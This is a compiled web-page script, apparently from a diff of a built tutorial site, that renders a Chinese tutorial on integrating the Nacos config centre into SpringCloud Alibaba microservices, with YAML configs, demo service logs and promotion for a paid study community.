number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" gateway_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br")])]),a("p",[s._v("(2)在Nacos中的配置信息如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-009","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-009.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)注释掉网关服务shop-gateway的resources目录下的application.yml文件中的内容(重要,不要忘记)")]),s._v(" "),a("h3",{attrs:{id:"查看nacos中的配置"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查看nacos中的配置"}},[s._v("#")]),s._v(" 查看Nacos中的配置")]),s._v(" "),a("p",[s._v("将用户微服务、商品微服务、订单微服务、网关服务的配置添加到Nacos中后,Nacos中的配置管理-配置列表如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-010","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-010.png",loading:"lazy"}})]),s._v(" "),a("h2",{attrs:{id:"整合nacos配置中心测试"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#整合nacos配置中心测试"}},[s._v("#")]),s._v(" 整合Nacos配置中心测试")]),s._v(" "),a("p",[s._v("(1)分别启动Nacos、Sentinel、ZipKin、RocketMQ的NameServer和Broker。")]),s._v(" "),a("p",[s._v("(2)分别启动用户微服务、商品微服务、订单微服务和网关服务,如果启动成功,基本就说明项目整合Nacos配置中心成功。")]),s._v(" "),a("p",[s._v("(3)启动四个服务后,在浏览器中输入"),a("code",[s._v("localhost:10001/server-order/order/submit_order?userId=1001&productId=1001&count=1")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-011","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-011.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("查看各个微服务中也会打印出相关的日志,如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("用户微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的用户信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"password"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"c26be8aaf53b15054896983b43eb6a65"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n用户微服务收到了订单信息:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":15235872727371776,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"totalPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("商品微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的商品信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proName"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"华为"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proStock"')]),s._v(":9999"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n更新商品库存传递的参数为: 商品id:1001, 购买数量:1 \n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("订单微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("提交订单时传递的参数:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"count"')]),s._v(":1,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"empty"')]),s._v(":false,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"productId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n库存扣减成功\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("网关服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("执行前置过滤器逻辑\n执行后置过滤器逻辑\n访问接口主机: localhost\n访问接口端口: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10001")]),s._v("\n访问接口URL: /server-order/order/submit_order\n访问接口URL参数: "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("userId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("productId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("count")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n访问接口时长: 1260ms\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("说明我们的项目中成功整合了Nacos的配置中心。")]),s._v(" "),a("p",[a("strong",[s._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),s._v(" "),a("p",[a("strong",[s._v("另外,一不小心就写了22章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),s._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[s._v("#")]),s._v(" 关于星球")]),s._v(" "),a("p",[s._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),s._v(" "),a("p",[s._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),s._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[s._v("#")]),s._v(" 星球提供的服务")]),s._v(" "),a("p",[s._v("冰河整理了星球提供的一些服务,如下所示。")]),s._v(" "),a("p",[s._v("加入星球,你将获得:")]),s._v(" "),a("p",[s._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),s._v(" "),a("p",[s._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),s._v(" "),a("p",[s._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),s._v(" "),a("p",[s._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),s._v(" "),a("p",[s._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),s._v(" "),a("p",[s._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),s._v(" "),a("p",[s._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),s._v(" "),a("p",[s._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),s._v(" "),a("p",[s._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),s._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[s._v("#")]),s._v(" 星球门票价格")]),s._v(" "),a("p",[s._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),s._v(" "),a("p",[a("strong",[s._v("特别提醒:")]),s._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),s._v(" "),a("p",[s._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[s._v("冰河技术")]),s._v(" 公众号回复 “ "),a("strong",[s._v("星球")]),s._v(" ” ,领取入场优惠券。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[334],{624:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第22章-服务配置-项目整合nacos配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第22章-服务配置-项目整合nacos配置中心"}},[s._v("#")]),s._v(" SA实战 ·《SpringCloud Alibaba实战》第22章-服务配置:项目整合Nacos配置中心")]),s._v(" "),a("p",[a("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),a("blockquote",[a("p",[s._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏都更新到第22章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),s._v(" "),a("p",[s._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),a("OutboundLink")],1)]),s._v(" 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("h2",{attrs:{id:"前文回顾"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前文回顾"}},[s._v("#")]),s._v(" 前文回顾")]),s._v(" "),a("p",[s._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),s._v(" "),a("p",[s._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),s._v(" "),a("p",[s._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ,并给大家介绍了RocketMQ的核心技术。")]),s._v(" "),a("p",[s._v("在服务配置章节,我们首先介绍了服务配置与Nacos作为配置中心的相关概念。接下来,我们就正式在项目中整合Nacos配置中心。")]),s._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[s._v("#")]),s._v(" 本章总览")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-012","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-012.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("注意:本章中在测试每个案例时,都需要启动Nacos,Sentinel,ZipKin和RocketMQ。另外,本章对应的Nacos配置(冰河亲测的Nacos配置)放在了项目源码的doc/nacos/config/chapter22目录下,小伙伴们将Nacos的配置直接导入到Nacos的配置列表中,也可以按照文章自己手动实现。本项目完整源码加入 冰河技术 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("h2",{attrs:{id:"环境准备"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#环境准备"}},[s._v("#")]),s._v(" 环境准备")]),s._v(" "),a("p",[s._v("分别在用户微服务shop-user,商品微服务shop-product,订单微服务shop-order和网关服务shop-gateway中的pom.xml文件中添加如下依赖。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("com.alibaba.cloud"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("spring-cloud-starter-alibaba-nacos-config"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("h2",{attrs:{id:"服务整合nacos配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#服务整合nacos配置中心"}},[s._v("#")]),s._v(" 服务整合Nacos配置中心")]),s._v(" "),a("p",[s._v("这里,我们将用户微服务,商品微服务,订单微服务和网关服务的配置信息都放在Nacos中。")]),s._v(" "),a("p",[a("strong",[s._v("注意:将微服务的配置放在Nacos中时,就暂时不用微服务中的application.yml配置文件了,而是在项目中新建一个bootstrap.yml文件。因为配置文件的优先级从高到低依次为:bootstrap.properties -> bootstrap.yml -> application.properties -> application.yml。")])]),s._v(" "),a("h3",{attrs:{id:"用户微服务整合配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#用户微服务整合配置中心"}},[s._v("#")]),s._v(" 用户微服务整合配置中心")]),s._v(" "),a("p",[s._v("(1)在用户微服务shop-user的resources目录下新建bootstrap.yml文件,文件内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("user\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" user_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("(2)启动Nacos,在浏览器中输入"),a("code",[s._v("http://localhost:8848/nacos")]),s._v("并登录Nacos,选择Nacos菜单中的配置管理-配置列表,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-001.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)点击配置列表界面中的 "),a("strong",[s._v("+")]),s._v(" ,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-002.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点开后的界面如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-003.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("其中各个配置项的含义如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("Data ID就是配置集ID,通常情况下就是某个配置文件的ID,这个ID的命名遵循一定的规则,如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token variable"}},[s._v("${spring.application.name}")]),s._v("-"),a("span",{pre:!0,attrs:{class:"token variable"}},[s._v("${spring.profiles.active}")]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token variable"}},[s._v("${spring.cloud.nacos.config.file-extension}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("这里,对应到用户微服务的Data ID就是:"),a("code",[s._v("server-user-dev.yaml")]),s._v("。所以,对于用户微服务来说,我们在Data ID中输入server-user-dev.yaml。")]),s._v(" "),a("ul",[a("li",[s._v("Group:配置分组,配置分组要与"),a("code",[s._v("spring.cloud.nacos.config.group")]),s._v("对应,用户微服务的配置分组就是user_group。")]),s._v(" "),a("li",[s._v("描述:对当前配置的简单描述。例如,用户微服务的开发环境配置。")]),s._v(" "),a("li",[s._v("配置格式:表示配置内容所使用的文件格式,这里我们选择YAML格式。")]),s._v(" "),a("li",[s._v("配置内容:配置文件的内容,这里我们直接将application.yml文件的内容复制进去即可。")])]),s._v(" "),a("p",[s._v("配置好之后的内容如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-004.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("配置好之后点击页面的发布按钮,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-005.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("发布成功后会跳转到配置管理-配置列表界面,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-006.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(4)注释掉用户微服务shop-user的resources目录下的application.yml文件中的内容(重要,不要忘记)")]),s._v(" "),a("p",[s._v("至此,就完成了修改用户微服务的配置操作。")]),s._v(" "),a("h3",{attrs:{id:"商品微服务整合配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#商品微服务整合配置中心"}},[s._v("#")]),s._v(" 商品微服务整合配置中心")]),s._v(" "),a("p",[s._v("修改商品微服务的配置过程与修改用户微服务的配置过程类似,只是部分配置项不同。")]),s._v(" "),a("p",[s._v("(1)在商品微服务shop-product的resources目录下新建bootstrap.yml文件,内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("product\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token 